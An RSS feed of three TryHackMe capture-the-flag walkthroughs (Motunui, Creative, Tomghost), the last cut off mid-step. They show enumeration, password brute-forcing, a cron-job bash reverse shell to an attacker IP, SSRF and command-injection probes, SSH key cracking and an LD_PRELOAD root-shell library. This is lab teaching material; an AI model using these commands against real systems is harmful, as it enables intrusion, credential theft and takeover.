<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AnouartheG on Medium]]></title>
        <description><![CDATA[Stories by AnouartheG on Medium]]></description>
        <link>https://medium.com/@abouzennar?source=rss-954f3583a984------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gWbs8gQhkebfHQQKMZ_QtQ.jpeg</url>
            <title>Stories by AnouartheG on Medium</title>
            <link>https://medium.com/@abouzennar?source=rss-954f3583a984------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 17:26:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abouzennar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Walkthrough: Motunui]]></title>
            <link>https://medium.com/@abouzennar/tryhackme-walkthrough-motunui-893b8c3412e4?source=rss-954f3583a984------2</link>
            <guid isPermaLink="false">https://medium.com/p/893b8c3412e4</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[AnouartheG]]></dc:creator>
            <pubDate>Thu, 14 Aug 2025 17:43:04 GMT</pubDate>
            <atom:updated>2025-09-23T13:16:02.859Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty:Hard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AcNFs-Mj2TbwpXiS-zpAQ.png" /></figure><h3>Recon:</h3><p>As always, the first step is to run an Nmap scan to see what open ports and services we’re dealing with. I used the following command:</p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ nmap -sCV 10.10.223.158<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 11:54 EDT<br>Nmap scan report for 10.10.223.158<br>Host is up (0.14s latency).<br>Not shown: 995 filtered tcp ports (no-response)<br>PORT     STATE SERVICE     VERSION<br>22/tcp   open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 20:f4:43:ac:39:fe:94:13:7a:ad:3d:e6:5f:b4:7e:71 (RSA)<br>|   256 49:8c:75:e1:78:e9:72:65:de:c9:14:74:0f:d4:1a:81 (ECDSA)<br>|_  256 0b:b6:27:f9:ad:ed:22:a9:90:ac:9e:b3:85:1b:aa:96 (ED25519)<br>80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)<br>3000/tcp open  ppp?<br>| fingerprint-strings: <br>|   FourOhFourRequest: <br>|     HTTP/1.1 404 Not Found<br>|     Content-Security-Policy: default-src &#39;none&#39;<br>|     X-Content-Type-Options: nosniff<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 174<br>|     Date: Thu, 14 Aug 2025 15:55:27 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Error&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;pre&gt;Cannot GET /nice%20ports%2C/Tri%6Eity.txt%2ebak&lt;/pre&gt;<br>|     &lt;/body&gt;<br>|     &lt;/html&gt;<br>|   GetRequest: <br>|     HTTP/1.1 404 Not Found<br>|     Content-Security-Policy: default-src &#39;none&#39;<br>|     X-Content-Type-Options: nosniff<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 139<br>|     Date: Thu, 14 Aug 2025 15:55:24 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Error&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;pre&gt;Cannot GET /&lt;/pre&gt;<br>|     &lt;/body&gt;<br>|     &lt;/html&gt;<br>|   HTTPOptions: <br>|     HTTP/1.1 404 Not Found<br>|     Content-Security-Policy: default-src &#39;none&#39;<br>|     X-Content-Type-Options: nosniff<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 143<br>|     Date: Thu, 14 Aug 2025 15:55:25 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;title&gt;Error&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;pre&gt;Cannot OPTIONS /&lt;/pre&gt;<br>|     &lt;/body&gt;<br>|_    &lt;/html&gt;<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port3000-TCP:V=7.95%I=7%D=8/14%Time=689E06ED%P=x86_64-pc-linux-gnu%r(Ge<br>SF:tRequest,168,&quot;HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli<br>SF:cy:\x20default-src\x20&#39;none&#39;\r\nX-Content-Type-Options:\x20nosniff\r\nC<br>SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20139\r<br>SF:\nDate:\x20Thu,\x2014\x20Aug\x202025\x2015:55:24\x20GMT\r\nConnection:\<br>SF:x20close\r\n\r\n&lt;!DOCTYPE\x20html&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n&lt;met<br>SF:a\x20charset=\&quot;utf-8\&quot;&gt;\n&lt;title&gt;Error&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n&lt;pre&gt;Ca<br>SF:nnot\x20GET\x20/&lt;/pre&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n&quot;)%r(HTTPOptions,16C,&quot;HTTP/1\<br>SF:.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-src\x2<br>SF:0&#39;none&#39;\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20text/<br>SF:html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Thu,\x2014<br>SF:\x20Aug\x202025\x2015:55:25\x20GMT\r\nConnection:\x20close\r\n\r\n&lt;!DOC<br>SF:TYPE\x20html&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n&lt;meta\x20charset=\&quot;utf-8\<br>SF:&quot;&gt;\n&lt;title&gt;Error&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n&lt;pre&gt;Cannot\x20OPTIONS\x20/&lt;<br>SF:/pre&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n&quot;)%r(FourOhFourRequest,18B,&quot;HTTP/1\.1\x20404\x<br>SF:20Not\x20Found\r\nContent-Security-Policy:\x20default-src\x20&#39;none&#39;\r\n<br>SF:X-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20ch<br>SF:arset=utf-8\r\nContent-Length:\x20174\r\nDate:\x20Thu,\x2014\x20Aug\x20<br>SF:2025\x2015:55:27\x20GMT\r\nConnection:\x20close\r\n\r\n&lt;!DOCTYPE\x20htm<br>SF:l&gt;\n&lt;html\x20lang=\&quot;en\&quot;&gt;\n&lt;head&gt;\n&lt;meta\x20charset=\&quot;utf-8\&quot;&gt;\n&lt;title&gt;<br>SF:Error&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n&lt;pre&gt;Cannot\x20GET\x20/nice%20ports%2C/<br>SF:Tri%6Eity\.txt%2ebak&lt;/pre&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n&quot;);<br>Service Info: Host: MOTUNUI; OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_nbstat: NetBIOS name: MOTUNUI, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)<br>|   Computer name: motunui<br>|   NetBIOS computer name: MOTUNUI\x00<br>|   Domain name: \x00<br>|   FQDN: motunui<br>|_  System time: 2025-08-14T15:55:30+00:00<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2025-08-14T15:55:30<br>|_  start_date: N/A<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_clock-skew: mean: -1s, deviation: 0s, median: -1s<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 83.21 seconds</pre><p>There is 4 open ports and there are <strong>ssh</strong>,<strong>smb</strong> and <strong>http.</strong></p><h3><strong>Enumeration:</strong></h3><p>Since ports <strong>139</strong> and <strong>445</strong> are open and running <strong>Samba 4.7.6</strong>, I started with SMB enumeration to check for accessible shares or leaked files.</p><pre>enum4linux -a &lt;target$ip&gt;</pre><p>From the results, I identified the following shares:</p><pre>===================( Share Enumeration on 10.10.223.158 )===============<br>        Sharename       Type      Comment<br>        print$          Disk      Printer Drivers<br>        traces          Disk      Network shared files<br>        IPC$            IPC       IPC Service (motunui server (Samba, Ubuntu))</pre><p>The <strong>traces</strong> share stood out as potentially interesting.</p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ smbclient //10.10.223.158/traces<br>Password for [WORKGROUP\kali]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Wed Jul  8 23:48:54 2020<br>  ..                                  D        0  Wed Jul  8 23:48:27 2020<br>  moana                               D        0  Wed Jul  8 23:50:12 2020<br>  maui                                D        0  Mon Aug  3 12:22:03 2020<br>  tui                                 D        0  Wed Jul  8 23:50:40 2020<br><br>                19475088 blocks of size 1024. 11272844 blocks available<br>smb: \&gt; cd moana<br>smb: \moana\&gt; ls<br>  .                                   D        0  Wed Jul  8 23:50:12 2020<br>  ..                                  D        0  Wed Jul  8 23:48:54 2020<br>  ticket_64947.pcapng                 N        0  Tue Jul  7 12:51:43 2020<br>  ticket_31762.pcapng                 N        0  Tue Jul  7 12:51:28 2020<br><br>                19475088 blocks of size 1024. 11272844 blocks available<br>smb: \moana\&gt; cd ..<br>smb: \&gt; ls<br>  .                                   D        0  Wed Jul  8 23:48:54 2020<br>  ..                                  D        0  Wed Jul  8 23:48:27 2020<br>  moana                               D        0  Wed Jul  8 23:50:12 2020<br>  maui                                D        0  Mon Aug  3 12:22:03 2020<br>  tui                                 D        0  Wed Jul  8 23:50:40 2020<br>cd<br>                19475088 blocks of size 1024. 11272844 blocks available<br>smb: \&gt; cd maui<br>smb: \maui\&gt; ls<br>  .                                   D        0  Mon Aug  3 12:22:03 2020<br>  ..                                  D        0  Wed Jul  8 23:48:54 2020<br>  ticket_6746.pcapng                  N    79296  Mon Aug  3 12:21:16 2020<br><br>                19475088 blocks of size 1024. 11272844 blocks available<br>smb: \maui\&gt; mget ticket_6746.pcapng<br>Get file ticket_6746.pcapng? yes <br>getting file \maui\ticket_6746.pcapng of size 79296 as ticket_6746.pcapng (22.2 KiloBytes/sec) (average 22.2 KiloBytes/sec)</pre><p>Inside the <strong>trcaes</strong> share, I found a network capture file called ticket_6746.pcapng.</p><p>I downloaded it locally from the SMB share.</p><p>And after that i opened the file in <strong>Wireshark</strong> for analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VcGPpCSfZzE5vxQYAeVWg.png" /></figure><p>Browsing through the capture, I noticed some HTTP traffic. Following one of the HTTP streams revealed a file transfer named <strong><em>dashboard.png</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROJ9mvQMw61JW7HcZZavpQ.png" /></figure><p>Opening the image revealed a screenshot of what appeared to be a dashboard ,but more importantly, it contained a <strong>hidden subdomain</strong> reference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8m2TT1IcZtH1Ny-exyE8w.png" /></figure><p>The subdomain is <strong><em>d3v3lopm3nt.</em></strong></p><p>After i accessed the subdomain i used <strong>gobuster</strong> to do some brute forcing for subdomains:</p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ sudo gobuster dir -u d3v3lopm3nt.motunui.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>===============================================================<br>Gobuster v3.0.1<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)<br>===============================================================<br>[+] Url:            http://d3v3lopm3nt.motunui.thm<br>[+] Threads:        10<br>[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes:   200,204,301,302,307,401,403<br>[+] User Agent:     gobuster/3.0.1<br>[+] Timeout:        10s<br>===============================================================<br>2020/10/18 10:08:47 Starting gobuster<br>===============================================================<br>/docs (Status: 301)<br>/javascript (Status: 301)<br>Progress: 9935 / 220561 (4.50%)^C<br>[!] Keyboard interrupt detected, terminating.<br>===============================================================<br>2020/10/18 10:09:26 Finished<br>===============================================================</pre><p>Found directory called <strong>docs</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fzHqBj8jT71xYHkDx_HQJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4JKSK5rTUI3UkvIT7vMYw.png" /></figure><p>The document revealed details about an internal API running on <strong>api.motunui.thm:3000</strong></p><p>Armed with the API documentation from <strong>d3v3lopm3nt.motunui.thm</strong>, I targeted the <strong>/login</strong> endpoint on <strong>api.motunui.thm:3000</strong> using <strong>curl</strong></p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ curl -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;admin&quot;}&#39; -XPOST http://api.motunui.thm:3000/v2/login <br><br>{&quot;error&quot;:&quot;invalid credentials&quot;}</pre><p>After failing to authenticate against the<strong> /v2/login</strong> endpoint, I considered that older API versions might still be accessible and could reveal useful information.</p><p>I replaced <strong>/v2/</strong> in the URL with <strong>/v1/</strong> and accessed the login route in my browser:</p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ curl http://api.motunui.thm:3000/v1/login<br><br>{&quot;message&quot;:&quot;please get maui to update these routes&quot;}</pre><p>This endpoint responded with a message revealing a potential username,with this information we can use the username to <strong>bruteforce</strong> the login api with <strong>fuzz</strong></p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ wfuzz -w /usr/share/wordlists/rockyou.txt -c -H &#39;Content-Type: application/json&#39; <br>-d &#39;{&quot;username&quot;:&quot;maui&quot;,&quot;password&quot;:&quot;FUZZ&quot;}&#39; --hh 31 -t 50 http://api.motunui.thm:3000/v2/login<br>********************************************************<br>* Wfuzz 3.0.3 - The Web Fuzzer                         *<br>********************************************************<br><br>Target: http://api.motunui.thm:3000/v2/login<br>Total requests: 6163<br><br>===================================================================<br>ID           Response   Lines    Word     Chars       Payload               <br>===================================================================<br><br>000004343:   200        0 L      1 W      19 Ch     &lt;&quot;password&quot;&gt;</pre><p>And now we have the password of maui</p><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ wfuzz curl -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;username&quot;:&quot;maui&quot;,&quot;password&quot;:&quot;&lt;redacted_password&gt;&quot;}&#39; -XPOST http://api.motunui.thm:3000/v2/login<br><br>{&quot;hash&quot;:&quot;&lt;&quot;hash&quot;&gt;&quot;}</pre><h3><strong>Exploit:</strong></h3><p>This<strong> hash</strong> serves as an authentication token for other API endpoints, such as <strong>/jobs</strong>.</p><p>From the API documentation, I knew that:</p><ul><li><strong>GET /jobs</strong> → Lists cron jobs for the authenticated user.</li><li><strong>POST /jobs</strong> → Creates a new cron job.</li></ul><p>By sending a POST request with my <strong>hash</strong>, I could schedule commands to run on the target system to get a <strong>reverse shell</strong></p><pre>Victim:<br>curl -H &#39;Content-Type: application/json&#39; \<br>     -d &#39;{&quot;hash&quot;:&quot;&lt;HASH&gt;&quot;, &quot;job&quot;:&quot;* * * * * /bin/bash -c \&#39;bash -i &gt;&amp; /dev/tcp/&lt;ATTACKER_IP&gt;/&lt;PORT&gt; 0&gt;&amp;1\&#39;&quot;}&#39; \<br>     -X POST http://api.motunui.thm:3000/v2/jobs<br><br>Atacker:<br>nc -lvnp &lt;port&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgpKBYXK-I_wIS3zhiaDAw.png" /></figure><p><em>And we got a reverse shell.</em></p><h3>Privilege Escalation:</h3><pre>www-data@motunui:/home/moana$ cat read_me <br><br>I know you&#39;ve been on vacation and the last thing you want is me nagging you.<br>But will you please consider not using the same password for all services? It puts us all at risk.<br>I have started planning the new network design in packet tracer, and since you&#39;re &#39;the best engineer this &lt;redacted_password&gt; has seen&#39;, go find it and finish it.</pre><p>While exploring the compromised system, I found a file discussing:</p><ul><li><strong>Credential reuse by user <em>moana</em></strong></li><li><strong>A new network design in Cisco Packet Tracer</strong></li></ul><p>Since Cisco Packet Tracer project files typically have the <strong>.pkt</strong> extension, I searched the target for any matching files:</p><pre>www-data@motunui:/home/moana$ find / -type f -iname &#39;*pkt&#39; -ls 2&gt;/dev/null<br>   926350     76 -rwxrwxrwx   1 moana    moana       75918 Jul  9 03:19 /etc/network.pkt</pre><p>We found the file,so now we need to get information from it and we can do that anly with using <strong>packet tracer,</strong>so i used cisco packet tracer and i found some credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*ncsyjWdc-ASzobTLGSmcUA.png" /></figure><p>Now let’s login to moana acc with this crendentials in ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*3EN9N6T5TE99z2uVixQ2Pw.png" /></figure><p>And we got the first flag.</p><p>After multiple failed attempts to escalate privileges to root, I decided to look for credentials that might allow root access.</p><ul><li>After a <strong>deep search</strong>, I revisited the <strong>ticket file</strong> we found earlier.</li><li>Inside the file, I discovered <strong>root credentials transmitted over HTTP</strong>, which could be leveraged for privilege escalation.</li></ul><p><strong>Key takeaway:</strong> Sensitive credentials were stored insecurely and transmitted over an unencrypted protocol, highlighting a serious security risk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFngU0WQrDXdWkDJJN92Xw.png" /></figure><pre>┌──(kali㉿kali)-[~/CTF/motunui]<br>└─$ ssh root@&lt;target$ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*iHHHKH-8ESAuQx3klPxg8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*S5GBtYZz3x-xwZEMk3W-Yw.png" /></figure><p>Finally the last flag has been captured.</p><p>Thank you for reading this Walkthrough, if you have any suggestions or corrections i will be available at the following:</p><p><a href="https://www.linkedin.com/in/anouar-bouzannar-49066a305/">https://www.linkedin.com/in/anouar-bouzannar-49066a305/</a></p><p>🎉🎉🎉🎉🎉</p><p>Room:<a href="https://tryhackme.com/room/motunui">https://tryhackme.com/room/motunui</a></p><p>#EchoInternship #TryHackMe</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=893b8c3412e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough: Creative]]></title>
            <link>https://medium.com/@abouzennar/tryhackme-walkthrough-creative-dea7c9a6c7ab?source=rss-954f3583a984------2</link>
            <guid isPermaLink="false">https://medium.com/p/dea7c9a6c7ab</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[AnouartheG]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 19:27:33 GMT</pubDate>
            <atom:updated>2025-07-26T19:27:33.900Z</atom:updated>
            <content:encoded><![CDATA[<h4>Difficulty:easy</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Qp8NO75bQoy8RvxqFS8Pw.png" /></figure><h3>Recon &amp; Enumeration:</h3><p>We begin our reconnaissance by performing an <strong>Nmap</strong> scan to identify open ports and running services on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aO7FoqBzQRb1PB8DqCf7Yw.png" /></figure><p>From the scan, we see that:</p><ul><li><strong>Port 22 (SSH)</strong> is open — could be useful later if we discover valid credentials.</li><li><strong>Port 80 (HTTP)</strong> is open — we’ll start our enumeration here since HTTP services often expose useful information or entry points.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRAYoAU2_o8lsNAo46cm4Q.png" /></figure><p>After discovering that port 80 was running an Apache web server, I began manual and automated enumeration to look for potential vulnerabilities or hidden directories.</p><p>However, nothing stood out as exploitable on the main site.</p><p>While digging deeper, I discovered a subdomain called beta by using <strong>ffuf:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8h7jSa4t3ARsxivhuDMwGA.png" /></figure><p>Visiting the beta.creative subdomain led to a <strong>URL tester</strong> feature. This functionality allows users to input a URL and get redirected if the resource is reachable. Based on this behavior, it immediately suggests a possible <strong>Server-Side Request Forgery (SSRF)</strong> vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kes0Ps-CAW1xeFYjU1UPjg.png" /></figure><p>Before jumping into SSRF testing, I attempted a few other common attacks, since the context of the URL tester wasn’t fully clear:</p><ul><li><strong>Local File Inclusion (LFI)</strong> — Trying payloads like:</li></ul><p>http://127.0.0.1/etc/passwd file:///etc/passwd</p><ul><li><strong>Command Injection</strong> — Submitting inputs such as</li></ul><p><a href="http://example.com;whoami/">http://example.com;whoami</a></p><p>None of these resulted in useful behavior or errors, and there was no indication that we had access to sensitive internal resources (yet).</p><h3>Scan Internal Services:</h3><p>With the URL tester likely vulnerable to SSRF, we decided to use it to enumerate internal services running on the host.</p><p>To do this, we used ffuf to fuzz for open ports on localhost by injecting crafted URLs into the tester:</p><pre>ffuf -u &#39;http://beta.creative.thm/&#39; -d &quot;url=http://127.0.0.1:FUZZ/&quot; -w &lt;(seq 1 65535) -H &#39;Content-Type: application/x-www-form-urlencoded&#39; -mc all -t 100 -fs 13</pre><p>The scan revealed an internal web service running on <strong>port 1337</strong>.</p><p>We then used the SSRF payload directly to interact with the internal service:</p><pre>http://127.0.0.1:1337/</pre><p>Submitting this through the URL tester successfully returned content from the internal server — confirming the SSRF vulnerability and revealing a new internal web interface to explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*UM4CI15HSMlgTYp0T2BA9Q.png" /></figure><p>So by opening the <strong>/etc/passwd</strong> i found that there is a user called <strong>saad.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*M_sI8g9xun1kA6fmin7ZZA.png" /></figure><p>in the <strong>.ssh</strong> directory there was an <strong>ssh key</strong> which going to be useful for us to access the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHuTl-Dz-lOwkdFOJrEgig.png" /></figure><p>After i tried to login with the ssh key on my local machine it prompts us for the passphrase.</p><p>so we need to find the passphrase by cracking the hash using <strong>john the ripper(ssh2john):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*nH4FXfs73jIKntLaFrvrbw.png" /></figure><p>Found the passphrase : <strong><em>sweetness</em></strong></p><p>So now we can login with no problems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*14ueX9qF-UMt2dLM7Zy23w.png" /></figure><p>While navigating the directory structure, I accessed the user’s home directory and discovered a .bash_history file that contains the passwrod of the user saa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*fQMVxAiuJcTZe0L-AmAX5w.png" /></figure><pre>saad:MyStrongestPasswordYet$4291</pre><h3><strong>Privilege Escalation via </strong><strong>LD_PRELOAD and </strong><strong>sudo Misconfiguration:</strong></h3><p>Enumerated sudo permissions with:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GodiGamejotBP5x_VS-rA.png" /></figure><p>The result revealed the following:</p><pre>User saad may run the following commands on [hostname]:<br> (ALL) NOPASSWD: /usr/bin/ping<br> env_keep+=LD_PRELOAD</pre><p>While ping alone isn&#39;t typically useful for privilege escalation, the env_keep+=LD_PRELOAD setting is highly significant.</p><p>What is <strong>LD_PRELOAD</strong>?</p><p><strong>LD_PRELOAD</strong> is an environment variable used on Unix-like systems to force the dynamic linker to load a specified shared object (library) before any others, allowing for the override of standard library functions.</p><p>When this environment variable is preserved across sudo, it enables us to load a malicious shared library with root privileges effectively allowing code execution as root.</p><p>. Crafting the Malicious Shared Library</p><p>We created a simple C program that spawns a root shell when loaded. The logic is placed in the _init() function, which runs automatically when the shared object is loaded. We also unset <strong>LD_PRELOAD</strong> after execution to avoid unwanted behavior in future processes.</p><pre>// /home/saad/root.c<br>#include &lt;stdlib.h&gt;<br>void _init() {<br> unsetenv(&quot;LD_PRELOAD&quot;);<br> system(&quot;/bin/sh&quot;);<br>}</pre><p>Compile the library:</p><pre>gcc -fPIC -shared -o /home/saad/root.so /home/saad/root.c -nostartfiles<br><br>sudo LD_PRELOAD=/home/saad/root.so /usr/bin/ping</pre><p>With root access obtained, we navigated to the root directory and retrieved the final flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFZgv0SbHPUsKQUrhm1s2w.png" /></figure><p>Finally the last flag has been captured.</p><p>Thank you for reading this Walkthrough, if you have any suggestions or corrections i will be available at the following:</p><p><a href="https://www.linkedin.com/in/anouar-bouzannar-49066a305/">https://www.linkedin.com/in/anouar-bouzannar-49066a305/</a></p><p>🎉🎉🎉🎉🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*oDWhzXtxdETqw3U_vHLbCQ.png" /></figure><p>Room:<strong>https://tryhackme.com/room/creative</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dea7c9a6c7ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Walkthrough: Tomghost]]></title>
            <link>https://medium.com/@abouzennar/%E2%84%8D-e2f1453ad15f?source=rss-954f3583a984------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2f1453ad15f</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[AnouartheG]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 22:58:01 GMT</pubDate>
            <atom:updated>2025-08-14T15:34:17.021Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty:easy</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ly7Rfn1PBdUCWT8YfL-RIQ.png" /></figure><p>First step is always scanning,so were going to scan the target with nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*PkdCJQ37dd53MYwyvZxPyA.png" /></figure><p>There is 4 open ports:</p><blockquote><strong><em>22/ssh</em></strong></blockquote><blockquote><strong><em>53/tcpwrpped</em></strong></blockquote><blockquote><strong><em>8009/ajp13</em></strong></blockquote><blockquote><strong><em>8080/http</em></strong></blockquote><p>We can see in the version of http is tomcat 9.0.30 so it can be vulnerable. let’s search for it in metasploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*mmWy-KIeqcoMU8fi-nWrWg.png" /></figure><p>Great!The target is vuln to <strong>File Read/Inclusion</strong> so were going to use the first suggestion with the next cmd:</p><pre>use 0<br>set rhosts 10.10.228.187(target ip$)<br>set rport 8080<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*_YONq5uiz26RvdXeyz0cFw.png" /></figure><p>So we found a password of a user in the target machine,let’s login:</p><pre>ssh skyfuck@10.10.228.187</pre><p>Before anything let open the <strong>/etc/passwd</strong> file so we can se the available users in the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*rq3fEpKTeJhm6Zhg4UbUBQ.png" /></figure><p>Ok there is a user called merlin…anyway.</p><p>There is two file that seems interesting</p><pre>skyfuck@ubuntu:~$ls<br>credential.pgp  tryhackme.asc</pre><ul><li>credential.pgp: This PGP file is encrypted and might contain som credential of other users.</li><li>tryhackme.asc: This is a key file we need to crack to get the passphrase.</li></ul><p>So let transfer the files to our local machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7T83vWc-ZJpMFj0ncCGJzA.png" /></figure><p><strong>scp skyfuck@10.10.164.52:/home/skyfuck/tryhackme.asc .</strong></p><p><strong>scp skyfuck@10.10.164.52:/home/skyfuck/credential.pgp .</strong></p><p>First we need to crack the <strong><em>tryhackme.asc</em></strong> file with pgp2john 